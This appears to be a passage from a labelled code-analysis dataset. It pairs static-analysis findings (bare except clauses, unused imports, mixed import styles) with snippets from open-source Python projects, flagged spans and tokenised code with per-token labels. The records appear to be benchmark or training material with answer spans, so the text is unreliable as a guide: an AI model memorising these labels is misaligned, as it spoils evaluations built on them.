"name_", "=_", "\"", "pyr", "ie", "man", "n", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "\"", "0.", "1", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "packages_", "=_", "[_", "'", "rie", "man", "n", "'_", ",_", "'", "rie", "man", "n", ".", "pb", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "zip", "\\u", "safe_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "install", "\\u", "requires_", "=_", "[_", "'%", "s", ">=", "%", "s", "'_", "%_", "x_", "for_", "x_", "in_", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "protobuf_", "=_", "\"", "2.4", ".1", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "items_", "(_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "metadata", " ", "for", " ", "upload", " ", "to", " ", "Py", "PI_", "\\u\\u\\uNL\\u\\u\\u_", "author_", "=_", "\"", "Gl", "ei", "con", " ", "Mor", "aes", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "author", "\\u", "email_", "=_", "\"", "gle", "icon", "@", "gma", "il", ".", "com", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "keywords_", "=_", "\"", "events", " ", "rei", "man", "n", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "\"", "python", " ", "driver", " ", "for", " ", "rie", "man", "n", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "\"", "https", "://", "git", "hub", ".", "com", "/", "gle", "icon", "/", "pyr", "ie", "man", "n", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
cloudera/hue/apps/impala/gen-py/beeswaxd/ttypes.py
[ { "content": "#\n# Autogenerated by Thrift Compiler (0.9.3)\n#\n# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING\n#\n# options string: py:new_style\n#\n\nfrom thrift.Thrift import TType, TMessageType, TException, TApplicationException\nimport hive_metastore.ttypes\n\n\nfrom thrift.transport import TTransport\nfrom thrift.protocol import TBinaryProtocol, TProtocol\ntry:\n from thrift.protocol import fastbinary\nexcept:\n fastbinary = None\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "except:", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 7 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Auto", "generat", "ed", " ", "by", " ", "Thri", "ft", " ", "Compil", "er", " ", "(", "0.", "9.3", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "DO", " ", "NOT", " ", "EDIT", " ", "UNL", "ESS", " ", "YOU", " ", "ARE", " ", "SUR", "E", " ", "THA", "T", " ", "YOU", " ", "KN", "OW", " ", "WH", "AT", " ", "YOU", " ", "ARE", " ", "DOI", "NG_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "options", " ", "string", ":", " ", "py", ":", "new", "\\u", "style_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "thrift", "_", "._", "Thri", "ft_", "import_", "TT", "ype_", ",_", "TM", "essage", "Type_", ",_", "TE", "xcept", "ion_", ",_", "TA", "ppl", "ication", "Exception_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "hive", "\\u", "metas", "tore_", "._", "ttype", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "thrift", "_", "._", "transport_", "import_", "TT", "rans", "port_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "thrift", "_", "._", "protocol_", "import_", "TB", "inary", "Protocol_", ",_", "TP", "roto", "col_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "thrift", "_", "._", "protocol_", "import_", "fastbinary_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fastbinary_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
CountZer0/PipelineConstructionSet/python/maya/site-packages/pymel-1.0.5/extras/completion/py/pymel/api/__init__.py
[ { "content": "import pymel.util as util\n\nfrom maya.OpenMayaCloth import *\nfrom maya.OpenMayaFX import *\nfrom maya.OpenMayaUI import *\nfrom maya.OpenMaya import *\nfrom maya.OpenMayaAnim import *\nfrom maya.OpenMayaRender import *\nfrom maya.OpenMayaMPx import *\n\nfrom pymel.api.allapi import MItGraph\nfrom pymel.api.allapi import MItDag\nfrom pymel.api.allapi import isValidMDagNode\nfrom pymel.api.allapi import MObjectName\nfrom pymel.api.allapi import isValidMNodeOrPlug\nfrom pymel.api.allapi import isValidMObjectHandle\nfrom pymel.api.allapi import toMPlug\nfrom pymel.api.allapi import getPlugValue\nfrom pymel.api.allapi import toMObject\nfrom pymel.api.allapi import toMDagPath\nfrom pymel.api.allapi import toApiObject\nfrom pymel.api.allapi import SafeApiPtr\nfrom pymel.api.allapi import nameToMObject\nfrom pymel.api.allapi import isValidMPlug\nfrom pymel.api.allapi import toComponentMObject\nfrom pymel.api.allapi import isValidMNode\nfrom pymel.api.allapi import isValidMObject\nfrom pymel.api.allapi import MItNodes\nfrom pymel.api.allapi import isValidMDagPath\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import pymel.util as util", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 25 }, { "span": "from pymel.api.allapi import MItGraph", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 37 }, { "span": "from pymel.api.allapi import MItDag", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 35 }, { "span": "from pymel.api.allapi import isValidMDagNode", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 44 }, { "span": "from pymel.api.allapi import MObjectName", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 40 }, { "span": "from pymel.api.allapi import isValidMNodeOrPlug", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 47 }, { "span": "from pymel.api.allapi import isValidMObjectHandle", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 49 }, { "span": "from pymel.api.allapi import toMPlug", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 36 }, { "span": "from pymel.api.allapi import getPlugValue", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 41 }, { "span": "from pymel.api.allapi import toMObject", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 38 }, { "span": "from pymel.api.allapi import toMDagPath", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 39 }, { "span": "from pymel.api.allapi import toApiObject", "start_line": 20, "start_column": 0, "end_line": 20, "end_column": 40 }, { "span": "from pymel.api.allapi import SafeApiPtr", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 39 }, { "span": "from pymel.api.allapi import nameToMObject", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 42 }, { "span": "from pymel.api.allapi import isValidMPlug", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 41 }, { "span": "from pymel.api.allapi import toComponentMObject", "start_line": 24, "start_column": 0, "end_line": 24, "end_column": 47 }, { "span": "from pymel.api.allapi import isValidMNode", "start_line": 25, "start_column": 0, "end_line": 25, "end_column": 41 }, { "span": "from pymel.api.allapi import isValidMObject", "start_line": 26, "start_column": 0, "end_line": 26, "end_column": 43 }, { "span": "from pymel.api.allapi import MItNodes", "start_line": 27, "start_column": 0, "end_line": 27, "end_column": 37 }, { "span": "from pymel.api.allapi import isValidMDagPath", "start_line": 28, "start_column": 0, "end_line": 28, "end_column": 44 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "pym", "el_", "._", "util_", "as_", "util_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "maya", "_", "._", "Open", "Maya", "Clo", "th_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "maya", "_", "._", "Open", "Maya", "FX", "_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "maya", "_", "._", "Open", "Maya", "UI_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "maya", "_", "._", "Open", "Maya", "_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "maya", "_", "._", "Open", "Maya", "Anim", "_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "maya", "_", "._", "Open", "Maya", "Render_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "maya", "_", "._", "Open", "Maya", "MP", "x_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "pym", "el_", "._", "api_", "._", "alla", "pi_", "import_", "MI", "t", "Graph_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pym", "el_", "._", "api_", "._", "alla", "pi_", "import_", "MI", "t", "Da", "g_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pym", "el_", "._", "api_", "._", "alla", "pi_", "import_", "is", "Valid", "MD", "ag", "Node_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pym", "el_", "._", "api_", "._", "alla", "pi_", "import_", "MO", "bject", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pym", "el_", "._", "api_", "._", "alla", "pi_", "import_", "is", "Valid", "MN", "ode", "Or", "Plug", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pym", "el_", "._", "api_", "._", "alla", "pi_", "import_", "is", "Valid", "MO", "bject", "Handle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pym", "el_", "._", "api_", "._", "alla", "pi_", "import_", "to", "MP", "lug", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pym", "el_", "._", "api_", "._", "alla", "pi_", "import_", "get", "Plug", "Value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pym", "el_", "._", "api_", "._", "alla", "pi_", "import_", "to", "MO", "bject_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pym", "el_", "._", "api_", "._", "alla", "pi_", "import_", "to", "MD", "ag", "Path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pym", "el_", "._", "api_", "._", "alla", "pi_", "import_", "to", "Ap", "i", "Object_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pym", "el_", "._", "api_", "._", "alla", "pi_", "import_", "Safe", "Ap", "i", "Ptr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pym", "el_", "._", "api_", "._", "alla", "pi_", "import_", "name", "To", "MO", "bject_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pym", "el_", "._", "api_", "._", "alla", "pi_", "import_", "is", "Valid", "MP", "lug", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pym", "el_", "._", "api_", "._", "alla", "pi_", "import_", "to", "Compo", "nent", "MO", "bject_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pym", "el_", "._", "api_", "._", "alla", "pi_", "import_", "is", "Valid", "MN", "ode_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pym", "el_", "._", "api_", "._", "alla", "pi_", "import_", "is", "Valid", "MO", "bject_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from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1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Module is imported with 'import' and 'import from'
saltstack/salt/salt/utils/win_runas.py
[ { "content": "# -*- coding: utf-8 -*-\n'''\nImplements the ability to run processes as another user in Windows for salt\n'''\nfrom __future__ import absolute_import\n\n# Import Python Libraries\nimport os\nimport logging\n\n# Import Third Party Libs\ntry:\n import win32con\n import win32api\n import win32process\n import win32security\n import win32pipe\n import win32event\n import win32profile\n import msvcrt\n import ctypes\n from ctypes import wintypes\n HAS_WIN32 = True\nexcept ImportError:\n HAS_WIN32 = False\n\n# Import Salt Libs\nimport salt.utils\n\n# Set up logging\nlog = logging.getLogger(__name__)\n\n\n\n\n# ctypes definitions\nkernel32 = ctypes.WinDLL('kernel32')\nadvapi32 = ctypes.WinDLL('advapi32')\n\nINVALID_HANDLE_VALUE = wintypes.HANDLE(-1).value\nINVALID_DWORD_VALUE = wintypes.DWORD(-1).value # ~WinAPI\nINFINITE = INVALID_DWORD_VALUE\n\nLOGON_WITH_PROFILE = 0x00000001\n\nSTD_INPUT_HANDLE = wintypes.DWORD(-10).value\nSTD_OUTPUT_HANDLE = wintypes.DWORD(-11).value\nSTD_ERROR_HANDLE = wintypes.DWORD(-12).value\n\n\n\nLPSECURITY_ATTRIBUTES = ctypes.POINTER(SECURITY_ATTRIBUTES)\nLPBYTE = ctypes.POINTER(wintypes.BYTE)\nLPHANDLE = PHANDLE = ctypes.POINTER(ctypes.c_void_p)\nLPDWORD = ctypes.POINTER(ctypes.c_ulong)\n\n\n\nLPSTARTUPINFO = ctypes.POINTER(STARTUPINFO)\n\n\n\nPPROC_THREAD_ATTRIBUTE_LIST = ctypes.POINTER(PROC_THREAD_ATTRIBUTE_LIST)\n\n\n\nLPSTARTUPINFOEX = ctypes.POINTER(STARTUPINFOEX)\n\n\n\nLPPROCESS_INFORMATION = ctypes.POINTER(PROCESS_INFORMATION)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# https://msdn.microsoft.com/en-us/library/ms687032\n_win(kernel32.WaitForSingleObject, DWORD_IDV,\n wintypes.HANDLE, # _In_ hHandle\n wintypes.DWORD) # _In_ dwMilliseconds\n\n# https://msdn.microsoft.com/en-us/library/ms683231\n_win(kernel32.GetStdHandle, HANDLE_IHV,\n wintypes.DWORD) # _In_ nStdHandle\n\n# https://msdn.microsoft.com/en-us/library/ms724211\n_win(kernel32.CloseHandle, wintypes.BOOL,\n wintypes.HANDLE) # _In_ hObject\n\n# https://msdn.microsoft.com/en-us/library/ms724935\n_win(kernel32.SetHandleInformation, wintypes.BOOL,\n wintypes.HANDLE, # _In_ hObject\n wintypes.DWORD, # _In_ dwMask\n wintypes.DWORD) # _In_ dwFlags\n\n# https://msdn.microsoft.com/en-us/library/ms724251\n_win(kernel32.DuplicateHandle, wintypes.BOOL,\n wintypes.HANDLE, # _In_ hSourceProcessHandle,\n wintypes.HANDLE, # _In_ hSourceHandle,\n wintypes.HANDLE, # _In_ hTargetProcessHandle,\n LPHANDLE, # _Out_ lpTargetHandle,\n wintypes.DWORD, # _In_ dwDesiredAccess,\n wintypes.BOOL, # _In_ bInheritHandle,\n wintypes.DWORD) # _In_ dwOptions\n\n# https://msdn.microsoft.com/en-us/library/ms683179\n_win(kernel32.GetCurrentProcess, wintypes.HANDLE)\n\n# https://msdn.microsoft.com/en-us/library/ms683189\n_win(kernel32.GetExitCodeProcess, wintypes.BOOL,\n wintypes.HANDLE, # _In_ hProcess,\n LPDWORD) # _Out_ lpExitCode\n\n# https://msdn.microsoft.com/en-us/library/aa365152\n_win(kernel32.CreatePipe, wintypes.BOOL,\n PHANDLE, # _Out_ hReadPipe,\n PHANDLE, # _Out_ hWritePipe,\n LPSECURITY_ATTRIBUTES, # _In_opt_ lpPipeAttributes,\n wintypes.DWORD) # _In_ nSize\n\n\n# https://msdn.microsoft.com/en-us/library/ms682431\n_win(advapi32.CreateProcessWithLogonW, wintypes.BOOL,\n wintypes.LPCWSTR, # _In_ lpUsername\n wintypes.LPCWSTR, # _In_opt_ lpDomain\n wintypes.LPCWSTR, # _In_ lpPassword\n wintypes.DWORD, # _In_ dwLogonFlags\n wintypes.LPCWSTR, # _In_opt_ lpApplicationName\n wintypes.LPWSTR, # _Inout_opt_ lpCommandLine\n wintypes.DWORD, # _In_ dwCreationFlags\n wintypes.LPCWSTR, # _In_opt_ lpEnvironment\n wintypes.LPCWSTR, # _In_opt_ lpCurrentDirectory\n LPSTARTUPINFO, # _In_ lpStartupInfo\n LPPROCESS_INFORMATION) # _Out_ lpProcessInformation\n\n\n# High-level wrappers\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import ctypes", "start_line": 20, "start_column": 4, "end_line": 20, "end_column": 17 } ]
[]
1
true
[ "[CLS]_", "Module_", "is_", "imported_", "with_", "'", "import", "'_", "and_", "'", "import", " ", "from", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "'''", "\\", "10", ";", "Impl", "ement", "s", " ", "the", " ", "abilit", "y", " ", "to", " ", "run", " ", "process", "es", " ", "as", " ", "anot", "her", " ", "user", " ", "in", " ", "Window", "s", " ", "for", " ", "salt", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "abs", "olute", "\\u", "import_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Import", " ", "Pyth", "on", " ", "Libr", "aries", "_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Import", " ", "Thi", "rd", " ", "Part", "y", " ", "Lib", "s_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "win32con_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "win32", "api_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "win32", "process_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "win32", "security_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "win32", "pipe_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "win32", "event_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "win32", "profile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "msvcrt", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "ctypes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "ctypes_", "import_", "wintype", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "HAS", "\\u", "WIN", "32_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "HAS", "\\u", "WIN", "32_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Import", " ", "Sal", "t", " ", "Lib", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "import_", "salt_", "._", "utils_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Set", " ", "up", " ", "logging_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "=_", "logging_", "._", "get", "Logger_", "(_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ctype", "s", " ", "definitions_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "kernel32_", "=_", "ctypes_", "._", "Win", "DLL", "_", "(_", "'", "kernel", "32", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "adv", "api", "32_", "=_", "ctypes_", "._", "Win", "DLL", "_", "(_", "'", "adv", "api", "32", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "INVALID", "\\u", "HANDLE", "\\u", "VALUE_", "=_", "wintype", "s_", "._", "HANDLE_", "(_", "-_", "1_", ")_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "INVALID", "\\u", "DW", "ORD", "\\u", "VALUE_", "=_", "wintype", "s_", "._", "DWORD_", "(_", "-_", "1_", ")_", "._", "value_", "#", " ", "~", "Win", "API_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "INFINIT", "E_", "=_", "INVALID", "\\u", "DW", "ORD", "\\u", "VALUE_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "LOGO", "N", "\\u", "WITH", "\\u", "PROFILE", "_", "=_", "0x0000000", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "STD", "\\u", "INPUT", "\\u", "HANDLE_", "=_", "wintype", "s_", "._", "DWORD_", "(_", "-_", "10_", ")_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "STD", "\\u", "OUTPU", "T", "\\u", "HANDLE_", "=_", "wintype", "s_", "._", "DWORD_", "(_", "-_", "11_", ")_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "STD", "\\u", "ERROR", "\\u", "HANDLE_", "=_", "wintype", "s_", "._", "DWORD_", "(_", "-_", "12_", ")_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "LP", "SECURITY", "\\u", "ATTRIBUTES_", "=_", "ctypes_", "._", "POINTER_", "(_", "SECURITY", "\\u", "ATTRIBUTES_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "LP", "BYTE_", "=_", "ctypes_", "._", "POINTER_", "(_", "wintype", "s_", "._", "BYTE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "LP", "HANDLE_", "=_", "PHA", "ND", "LE_", "=_", "ctypes_", "._", "POINTER_", "(_", "ctypes_", "._", "c\\u", "voi", "d\\u", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "LP", "DWORD_", "=_", "ctypes_", "._", "POINTER_", "(_", "ctypes_", "._", "c\\u", "ulong_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "LP", "START", "UP", "INFO_", "=_", "ctypes_", "._", "POINTER_", "(_", "START", "UP", "INFO_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "PP", "ROC", "\\u", "THREAD", "\\u", "ATTRIBUTE", "\\u", "LIST_", "=_", "ctypes_", "._", "POINTER_", "(_", "PROC", "\\u", "THREAD", "\\u", "ATTRIBUTE", "\\u", "LIST_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "LP", "START", "UP", "INFO", "EX_", "=_", "ctypes_", "._", "POINTER_", "(_", "START", "UP", "INFO", "EX_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "LP", "PROCESS", "\\u", "INFORMATION", "_", "=_", "ctypes_", "._", "POINTER_", "(_", "PROCESS", "\\u", "INFORMATION", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 